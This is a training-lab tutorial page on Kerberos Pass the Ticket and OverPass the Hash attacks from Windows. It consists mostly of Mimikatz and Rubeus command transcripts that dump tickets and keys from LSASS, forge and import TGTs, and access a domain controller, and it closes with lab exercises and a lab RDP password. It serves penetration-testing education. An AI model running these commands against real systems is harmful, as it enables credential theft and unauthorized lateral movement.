

Pass the Ticket (PtT) from Windows

Another method for moving laterally in an Active Directory environment is called a [Pass the Ticket \(PtT\) attack](#). In this attack, we use a stolen Kerberos ticket to move laterally instead of an NTLM password hash. We'll cover several ways to perform a PtT attack from Windows and Linux. In this section, we'll focus on Windows attacks, and in the following section, we'll cover attacks from Linux.

Kerberos Protocol Refresher

The Kerberos authentication system is ticket-based. The central idea behind Kerberos is not to give an account password to every service you use. Instead, Kerberos keeps all tickets on your local system and presents each service only the specific ticket for that service, preventing a ticket from being used for another purpose.

- The **TGT - Ticket Granting Ticket** is the first ticket obtained on a Kerberos system. The TGT permits the client to obtain additional Kerberos tickets or **TGS**.
- The **TGS - Ticket Granting Service** is requested by users who want to use a service. These tickets allow services to verify the user's identity.

When a user requests a **TGT**, they must authenticate to the domain controller by encrypting the current timestamp with their password hash. Once the domain controller validates the user's identity (because the domain knows the user's password hash, meaning it can decrypt the timestamp), it sends the user a TGT for future requests. Once the user has their ticket, they do not have to prove who they are with their password.

If the user wants to connect to an MSSQL database, it will request a Ticket Granting Service (TGS) to The Key Distribution Center (KDC), presenting its Ticket Granting Ticket (TGT). Then it will give the TGS to the MSSQL database server for authentication.

It's recommended to take a look at the [Kerberos, DNS, LDAP, MSRPC](#) section in the module [Introduction to Active Directory](#) for a high-level overview of how this protocol works.

Pass the Ticket (PtT) Attack

We need a valid Kerberos ticket to perform a **Pass the Ticket (PtT)**. It can be:

- Service Ticket (TGS - Ticket Granting Service) to allow access to a particular resource.
- Ticket Granting Ticket (TGT), which we use to request service tickets to access any resource the user has privileges.

Before we perform a **Pass the Ticket (PtT)** attack, let's see some methods to get a ticket using **Mimikatz** and **Rubeus**.

Scenario

Let's imagine we are on a pentest, and we manage to phish a user and gain access to the user's computer. We found a way to obtain administrative privileges on this computer and are working with local administrator rights. Let's explore several ways we can manage to get access tickets on this computer and how we can create new tickets.

Harvesting Kerberos Tickets from Windows

On Windows, tickets are processed and stored by the LSASS (Local Security Authority Subsystem Service) process. Therefore, to get a ticket from a Windows system, you must communicate with LSASS and request it. As a non-administrative user, you can only get your

tickets, but as a local administrator, you can collect everything.

We can harvest all tickets from a system using the Mimikatz module `sekurlsa::tickets /export`. The result is a list of files with the extension `.kirbi`, which contain the tickets.

Mimikatz - Export Tickets

Pass the Ticket (PtT) from Windows

```
c:\tools> mimikatz.exe

.#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo)
## / \ ##   /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##     > http://blog.gentilkiwi.com/mimikatz
'## v #'     Vincent LE TOUX           ( vincent.letoux@gmail.com )
'#####'     > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets /export

Authentication Id : 0 ; 329278 (00000000:0005063e)
Session           : Network from 0
User Name          : DC01$
Domain            : HTB
Logon Server       : (null)
Logon Time         : 7/12/2022 9:39:55 AM
SID               : S-1-5-18

      * Username : DC01$
      * Domain   : inlanefreight.htb
      * Password : (null)

Group 0 - Ticket Granting Service

Group 1 - Client Ticket ?
[00000000]
  Start/End/MaxRenew: 7/12/2022 9:39:55 AM ; 7/12/2022 7:39:54 PM ;
  Service Name (02) : LDAP ; DC01.inlanefreight.htb ; inlanefreight.htb ; @ inlanefreight.htb
  Target Name  (--) : @ inlanefreight.htb
  Client Name  (01) : DC01$ ; @ inlanefreight.htb
  Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
  Session Key      : 0x00000012 - aes256_hmac
                    31cfa427a01e10f6e09492f2e8ddf7f74c79a5ef6b725569e19d614a35a69c07
  Ticket          : 0x00000012 - aes256_hmac           ; kvno = 5           [...]
  * Saved to file [0;5063e]-1-0-40a50000-DC01$@LDAP-DC01.inlanefreight.htb.kirbi !

Group 2 - Ticket Granting Ticket

<SNIP>

mimikatz # exit
Bye!
c:\tools> dir *.kirbi

Directory: c:\tools

Mode                LastWriteTime         Length Name
----                -
<SNIP>

-a----             7/12/2022   9:44 AM           1445 [0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
-a----             7/12/2022   9:44 AM           1565 [0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi

<SNIP>
```

Note: If you pick a ticket with the service krbtgt, it corresponds to the TGT of that account.

Note: At the time of writing, using Mimikatz version 2.2.0 20220919, if we run "sekurlsa::ekeys" it presents all hashes as des_cbc_md4 on some Windows 10 versions. Exported tickets (sekurlsa::tickets /export) do not work correctly due to the wrong encryption. It is possible to use these hashes to generate new tickets or use Rubeus to export tickets in base64 format.

Rubeus - Export Tickets

```

Pass the Ticket (PtT) from Windows

c:\tools> Rubeus.exe dump /nowrap

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Action: Dump Kerberos Ticket Data (All Users)

[*] Current LUID      : 0x6c680
    ServiceName       : krbtgt/inlanefreight.htb
    ServiceRealm      : inlanefreight.htb
    UserName          : DC01$
    UserRealm         : inlanefreight.htb
    StartTime         : 7/12/2022 9:39:54 AM
    EndTime           : 7/12/2022 7:39:54 PM
    RenewTill         : 7/19/2022 9:39:54 AM
    Flags              : name_canonicalize, pre_authent, renewable, forwarded, forwardable
    KeyType            : aes256_cts_hmac_sha1
    Base64(key)        : KWBMpM4BjenjTniwH0xw8FhvbFSf+SBVZJJcWgUKi3w=
    Base64EncodedTicket :

doIE1jCCBNKgAwIBBaEDAgEWooID7TCCA+lhggPlMIID4aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT02jgg0vMI

    UserName          : plaintext
    Domain            : HTB
    LogonId           : 0x6c680
    UserSID           : S-1-5-21-228825152-3134732153-3833540767-1107
    AuthenticationPackage : Kerberos
    LogonType          : Interactive
    LogonTime          : 7/12/2022 9:42:15 AM
    LogonServer         : DC01
    LogonServerDNSDomain : inlanefreight.htb
    UserPrincipalName   : plaintext@inlanefreight.htb

    ServiceName       : krbtgt/inlanefreight.htb
    ServiceRealm      : inlanefreight.htb
    UserName          : plaintext
    UserRealm         : inlanefreight.htb
    StartTime         : 7/12/2022 9:42:15 AM
    EndTime           : 7/12/2022 7:42:15 PM
    RenewTill         : 7/19/2022 9:42:15 AM
    Flags              : name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType            : aes256_cts_hmac_sha1

```

```
Base64(key)      : 2NN3wdC4FfpQunUUgK+MZ08f20xtXF0dbmIagWP0Uu0=
Base64EncodedTicket :

doIE9jCCBPKgAwIBBaEDAgEWooIECTCCBAVhggQBMIID/aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT02jggPLMI
<SNIP>
```

Note: To collect all tickets we need to execute Mimikatz or Rubeus as an administrator.

This is a common way to retrieve tickets from a computer. Another advantage of abusing Kerberos tickets is the ability to forge our own tickets. Let's see how we can do this using the **OverPass the Hash** or **Pass the Key** technique.

Pass the Key or OverPass the Hash

The traditional **Pass the Hash (PtH)** technique involves reusing an NTLM password hash that doesn't touch Kerberos. The **Pass the Key** or **OverPass the Hash** approach converts a hash/key (rc4_hmac, aes256_cts_hmac_sha1, etc.) for a domain-joined user into a full **Ticket-Granting-Ticket (TGT)**. This technique was developed by Benjamin Delpy and Skip Duckwall in their presentation **Abusing Microsoft Kerberos - Sorry you guys don't get it**. Also **Will Schroeder** adapted their project to create the **Rubeus** tool.

To forge our tickets, we need to have the user's hash; we can use Mimikatz to dump all users Kerberos encryption keys using the module **sekurlsa::ekeys**. This module will enumerate all key types present for the Kerberos package.

Mimikatz - Extract Kerberos Keys

```
Pass the Ticket (PtT) from Windows

c:\tools> mimikatz.exe

.#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo)
## / \ ##   /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > http://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE TOUX           ( vincent.letoux@gmail.com )
'#####'    > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys
<SNIP>

Authentication Id : 0 ; 444066 (00000000:0006c6a2)
Session           : Interactive from 1
User Name         : plaintext
Domain           : HTB
Logon Server      : DC01
Logon Time        : 7/12/2022 9:42:15 AM
SID               : S-1-5-21-228825152-3134732153-3833540767-1107

* Username : plaintext
* Domain   : inlanefreight.htb
* Password : (null)
* Key List :
  aes256_hmac      b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
  rc4_hmac_nt      3f74aa8f08f712f09cd5177b5c1ce50f
  rc4_hmac_old     3f74aa8f08f712f09cd5177b5c1ce50f
  rc4_md4          3f74aa8f08f712f09cd5177b5c1ce50f
  rc4_hmac_nt_exp  3f74aa8f08f712f09cd5177b5c1ce50f
  rc4_hmac_old_exp 3f74aa8f08f712f09cd5177b5c1ce50f

<SNIP>
```

Now that we have access to the **AES256_HMAC** and **RC4_HMAC** keys, we can perform the OverPass the Hash or Pass the Key attack using

Mimikatz and Rubeus.

Mimikatz - Pass the Key or OverPass the Hash

```
Pass the Ticket (PtT) from Windows

c:\tools> mimikatz.exe

.#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo)
## / \ ##   /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > http://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE Toux          ( vincent.letoux@gmail.com )
'#####'    > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f

user      : plaintext
domain    : inlanefreight.htb
program   : cmd.exe
impers.    : no
NTLM      : 3f74aa8f08f712f09cd5177b5c1ce50f
|  PID   1128
|  TID   3268
|  LSA Process is now R/W
|  LUID 0 ; 3414364 (00000000:0034195c)
\_ msv1_0 - data copy @ 000001C7DBC0B630 : OK !
\_ kerberos - data copy @ 000001C7E20EE578
  \_ aes256_hmac      -> null
  \_ aes128_hmac      -> null
  \_ rc4_hmac_nt       OK
  \_ rc4_hmac_old     OK
  \_ rc4_md4          OK
  \_ rc4_hmac_nt_exp  OK
  \_ rc4_hmac_old_exp OK
  \_ *Password replace @ 000001C7E2136BC8 (32) -> null
```

This will create a new **cmd.exe** window that we can use to request access to any service we want in the context of the target user.

To forge a ticket using **Rubeus**, we can use the module **asktgt** with the username, domain, and hash which can be **/rc4**, **/aes128**, **/aes256**, or **/des**. In the following example, we use the aes256 hash from the information we collect using Mimikatz **sekurlsa::ekeys**.

Rubeus - Pass the Key or OverPass the Hash

```
Pass the Ticket (PtT) from Windows

c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de4379

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[*] Action: Ask TGT

[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jgg07MI
```

12/8/24, 11:47 AM


```
6rHbLW0e3G00Nrk/Jg8ZAnIWE1V1M05qPCZJfW1P0NEPHZFeVS00pVR+MDLYC5ZKutH0q0a3ys90L0YJ
8zNLBL3xqHY9lNe6YiiAzPG+Q60ByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEX
oRIEED0RtMDJn0Ds5w89WCAI3bChCRsHSFRCLkNPTaIWMBSgAwIBAAeNMAsbCXBSYWLudGV4dKMHAwUA
QOEAAKURGA8yMDIyMDcxMjE2Mjc0N1qmERgPMjAyMjA3MTMwMjI3NDdapxEYDzIwMjIwNzE5MTYyNzQ3
WqgJGwdIVEIuQ09NqRwwGqADAgECORMwERsGa3JidGd0GwdodGIuY29t

[+] Ticket successfully imported!

ServiceName      : krbtgt/inlanefreight.htb
ServiceRealm     : inlanefreight.htb
UserName         : plaintext
UserRealm        : inlanefreight.htb
StartTime        : 7/12/2022 12:27:47 PM
EndTime          : 7/12/2022 10:27:47 PM
RenewTill        : 7/19/2022 12:27:47 PM
Flags            : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType          : rc4_hmac
Base64(key)      : PRG0wMmc40znDz1YIAjdsA==
```

Note that now it displays **Ticket successfully imported!**.

Another way is to import the ticket into the current session using the **.kirbi** file from the disk.

Let's use a ticket exported from Mimikatz and import it using Pass the Ticket.

Rubeus - Pass the Ticket

```
Pass the Ticket (PtT) from Windows

c:\tools> Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi

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[*] Action: Import Ticket
[+] ticket successfully imported!

c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -
d-r---             6/4/2022  11:17 AM             Program Files
d-----            6/4/2022  11:17 AM          Program Files (x86)

<SNIP>
```

We can also use the base64 output from Rubeus or convert a .kirbi to base64 to perform the Pass the Ticket attack. We can use PowerShell to convert a .kirbi to base64.

Convert .kirbi to Base64 Format

```
Pass the Ticket (PtT) from Windows

PS c:\tools> [Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefrei
doQAAAWfMIQAAAWZoIQAAAADAgEFoYQAAAADAgEWooQAAQ5MIQAAQzYYQAAQMIQAAQnoIQAAAADAgEFoYQAAAAGwdIVEIuQ09NooQAAAAsMI
```

Using Rubeus, we can perform a Pass the Ticket providing the base64 string instead of the file name.

Pass the Ticket - Base64 Format

```
Pass the Ticket (PtT) from Windows

c:\tools> Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhE
-----
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[*] Action: Import Ticket
[+] ticket successfully imported!

c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -
d-r---             6/4/2022  11:17 AM             Program Files
d-----            6/4/2022  11:17 AM          Program Files (x86)

<SNIP>
```

Finally, we can also perform the Pass the Ticket attack using the Mimikatz module `kerberos::ptt` and the .kirbi file that contains the ticket we want to import.

Mimikatz - Pass the Ticket

```
Pass the Ticket (PtT) from Windows

C:\tools> mimikatz.exe

.#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo)
## / \ ##   /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##    > http://blog.gentilkiwi.com/mimikatz
'## v #'     Vincent LE TOUX           ( vincent.letoux@gmail.com )
'#####'     > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreigh

* File: 'C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi': OK
mimikatz # exit
Bye!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -
d-r---             6/4/2022  11:17 AM             Program Files
d-----            6/4/2022  11:17 AM          Program Files (x86)

<SNIP>
```

Note: Instead of opening mimikatz.exe with cmd.exe and exiting to get the ticket into the current command prompt, we can use the Mimikatz module `misc` to launch a new command prompt window with the imported ticket using the `misc::cmd` command.

Pass The Ticket with PowerShell Remoting (Windows)

[PowerShell Remoting](#) allows us to run scripts or commands on a remote computer. Administrators often use PowerShell Remoting to manage remote computers on the network. Enabling PowerShell Remoting creates both HTTP and HTTPS listeners. The listener runs on standard port TCP/5985 for HTTP and TCP/5986 for HTTPS.

To create a PowerShell Remoting session on a remote computer, you must have administrative permissions, be a member of the Remote Management Users group, or have explicit PowerShell Remoting permissions in your session configuration.

Suppose we find a user account that doesn't have administrative privileges on a remote computer but is a member of the Remote Management Users group. In that case, we can use PowerShell Remoting to connect to that computer and execute commands.

Mimikatz - PowerShell Remoting with Pass the Ticket

To use PowerShell Remoting with Pass the Ticket, we can use Mimikatz to import our ticket and then open a PowerShell console and connect to the target machine. Let's open a new `cmd.exe` and execute `mimikatz.exe`, then import the ticket we collected using `kerberos::ptt`. Once the ticket is imported into our `cmd.exe` session, we can launch a PowerShell command prompt from the same `cmd.exe` and use the command `Enter-PSSession` to connect to the target machine.

Mimikatz - Pass the Ticket for Lateral Movement.

```
Pass the Ticket (PtT) from Windows

C:\tools> mimikatz.exe

.#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo)
## / \ ##   /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##     > https://blog.gentilkiwi.com/mimikatz
'## v #'     Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'     > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLINEFREIGHT.HT

* File: 'C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLINEFREIGHT.HTB.kirbi': OK

mimikatz # exit
Bye!

c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01
[DC01]: PS C:\Users\john\Documents>
```

Rubeus - PowerShell Remoting with Pass the Ticket

Rubeus has the option `createnetonly`, which creates a sacrificial process/logon session ([Logon type 9](#)). The process is hidden by default, but we can specify the flag `/show` to display the process, and the result is the equivalent of `runas /netonly`. This prevents the erasure of existing TGTs for the current logon session.

Create a Sacrificial Process with Rubeus

```
Pass the Ticket (PtT) from Windows

C:\tools> Rubeus.exe createnetenonly /program:"C:\Windows\System32\cmd.exe" /show

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[*] Action: Create process (/netonly)

[*] Using random username and password.

[*] Showing process : True
[*] Username       : JMI8CL7C
[*] Domain        : DTCDV6VL
[*] Password      : MRWI6XGI
[+] Process       : 'cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID     : 1556
[+] LUID          : 0xe07648
```

The above command will open a new cmd window. From that window, we can execute Rubeus to request a new TGT with the option `/ptt` to import the ticket into our current session and connect to the DC using PowerShell Remoting.

Rubeus - Pass the Ticket for Lateral Movement

```
Pass the Ticket (PtT) from Windows

C:\tools> Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbdd40db957a0ed0d3856b2e67f9bb58e6dc7

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v2.0.3

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: 9279bcbdd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\john'
[*] Using domain controller: 10.129.203.120:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFqDCCBaSgAwIBBaEDAgEWooIEojCCBJ5hggSaMIIElqADAgEForMbEUL0TEFORUZSRU\HSFQuSFRC
oiYwJKADAgECOR0wGxsGa3JidGd0GxFpbmxhbmVmcmVpZ2h0Lmh0Yq0CBFAwggRMOAMCARKhAwIBAqKC
BD4EggQ6JFh+c/cFI8UqumM6GPaVpUhz3ZSyXZTIHiI/b3j0FtjyD/uYTqXAAq2CkakjomzCUyqUfIE5
+2dvJYcLANm44EvqGZlMkFvHK40slyFEK6E6d70+BWTgye2ytdJr9WWKWDiQLAJ97nrZ9zhNCfeWWQNQ
dpAEeCZP59dZeIUfQlM3+/oEvyJBqeR6mc3GuicxbJA743TLyQt8kt0HU0oIz0oi2p/VYQfITLXBmpIT
OZ6+/vfpagF68Y/5p61V+B8XRKHXX2JuyX5+d9i3VZhzVF0Fa+h5+efJyx3kmzFMVbVGbP1DyAG1JnQ0
h1z2T1egbKX/0la4unJQRZXblwx+xk+MeX0IEKqnQmHzIYU1Ka0px5qnxDj0bG+Ji795TFpEo04kHRwv
zSoFAIWxzjnpe4J9sraXkLQ/btef8p6qAfeYqWLxNbA+eUEiKQpqkfzbxRB5Pddr1TE0NiMAgLCMgphs
gVMLj6wtH+gQc0ohvLgBYUgJnSHV8lpBBc/OPjPtUtAohJoas44DZRCd7S9ruXLzqeUnqIfEZ/DnJh3H
SYtH8NNSXoSkv0BhotVXUMPX1yesjzwEGRokLjsXSWg/4XQtcfGpUFv7hTYTKKn92d0EWePhDDPjwQmk
H6MP0BngGaLK5vSA9AcUSi2l+DSaxaR6uK1bozMgM7puoyL8MPEhCe+ajPoX4TPn3cJLHF1fHofVSF4W
nkKhZYZ0wVzL8PPWlsT+0lq5TvKlhmIywd3ZWYMT98kB2igEUK2G3jM7XsDgwtPgwiLP02bXc2mJF/VA
qBzVwXD0ZuFIePZbPoEULKQtE38cIumRyfbrKUK5RglDV+wHPebhYQvFtvSv05mdTLyGTPkuh5FRRJ0e
WIw0HWUm3u/NAIhaaUaL+DHBKYdkmMc2RTWk34NwYp7JQIAMxb68fTQtCJPmLQdWrGYEehgAhDT2hX+8
VMQSJoodyD4AEy2bUISEz6x5gjcFMsoZrUmMRLvUEASB/IBW6pH+4D52rLEAsi5kUI1BH0UEFoLLyTNb
4rZKvWpoibi5sHXe000z6BTWhQceJtULNkr4jtTTKdv1sVPudAsRmZtR2GRr984NxUk06snZo7zuQiud
```

```
7w2NUtKwmTuKGUNcNurz78wbfiId2eJqtE9vLiNxkw+AyIr+gcxvMipDCP9tYCQx1uqCFqTqEIm0xpN
BqQf/MDhdked+p46iSewqV/4iaAvEJRV0LBHfrgTFA3HYAhf062LnCWPTTBZCPYSqH68epsn40sS+RB
gwJFGpR++u1h//+4Zi++gjsX/+vD3Tx4YUAsMi0a0ZRiYgBWWxsI02NYyGSBIwRC3yGwzQAoIT43EhAu
HjYiDIIdccqxpB1+8vGwkKv7DEcFM1XFWjuREzYWafF00UfCT69ZIs0qEwimsHDyfr6WhuKua034Us2/V
8wYbbKYjVj+jgfEwge6gAwIBAKKB5gSB432B4DCB3aCB2jCB1zCB1KArMCmgAwIBEqEiBCDlV0Bp6+en
HH9/2tewMMt8rq0f7ipDd/UaU4HUKUFaHaETGxFJTkxBTkVGUKVJR0hULkhUQqIRMA+gAwIBAAEIMAYb
BGpvaG6jBwMFAEDhAACLERgPMjAyMjA3MTgxMjQ0NTBaphEYDzIwMjIwNzE4MjI0NDUwWqcRGA8yMDIy
MDcyNTEyNDQ1MFqoExsRSU5MQU5FRlJFSUdIVC5IVEKpJjAkoAMCAQKhHTAbGwZrcmJ0Z3QbEWlubGFu
ZWZyZWlnaHQuaHRi
```

[+] Ticket successfully imported!

```
ServiceName      : krbtgt/inlanefreight.htb
ServiceRealm     : INLANEFREIGHT.HTB
UserName         : john
UserRealm        : INLANEFREIGHT.HTB
StartTime        : 7/18/2022 5:44:50 AM
EndTime          : 7/18/2022 3:44:50 PM
RenewTill        : 7/25/2022 5:44:50 AM
Flags            : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType          : aes256_cts_hmac_sha1
Base64(key)      : 5VdAaevnpxx/f9rXsDDLfK6tH+4qQ3f1GLOB1ClBWh0=
ASREP (key)      : 9279BCBD40DB957A0ED0D3856B2E67F9BB58E6DC7FC07207D0763CE2713F11DC
```

```
c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01
```

Moving On

We've now covered multiple ways to perform Pass the Ticket attacks from a Windows host. The following section will cover this same lateral movement technique using a Linux attack host.

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.

Existing PwnBox instances will automatically switch to the new VPN server.

EU Academy 3

Recommended

Low Load

PROTOCOL

UDP 1337

TCP 443

DOWNLOAD VPN CONNECTION FILE

Connect to Pwnbox

Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

AU48ms

Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Target(s): [Click here to spawn the target system!](#)

 RDP to with user "[Administrator](#)" and password "[AnotherC0mpl3xP4\\$\\$](#)"

+ 0 

 Connect to the target machine using RDP and the provided creds. Export all tickets present on the computer. How many users TGT did you collect?

Submit your answer here...

+10 Streak pts

 Submit

 Show Solution

+ 0 

 Use john's TGT to perform a Pass the Ticket attack and retrieve the flag from the shared folder `\\DC01.inlanefreight.htb\john`

Submit your answer here...

+10 Streak pts

 Submit

 Show Solution

+ 0 

 Use john's TGT to perform a Pass the Ticket attack and connect to the DC01 using PowerShell Remoting. Read the flag from `C:\john\john.txt`

Submit your answer here...

+10 Streak pts

 Submit

 Show Solution

Optional Exercises

Challenge your understanding of the Module content and answer the optional question(s) below. These are considered supplementary content and are not required to complete the Module. You can reveal the answer at any time to check your work.

Target(s): [Click here to spawn the target system!](#)

Optional: Try to use both tools, Mimikatz and Rubeus, to perform the attacks without relying on each other. Mark DONE when finish.

Submit your answer here...

 Submit

 Reveal Answer

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Windows Lateral Movement

 Pass the Hash (PtH)	
---	--

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My Workstation

OFFLINE

 Start Instance

 / 1 spawns left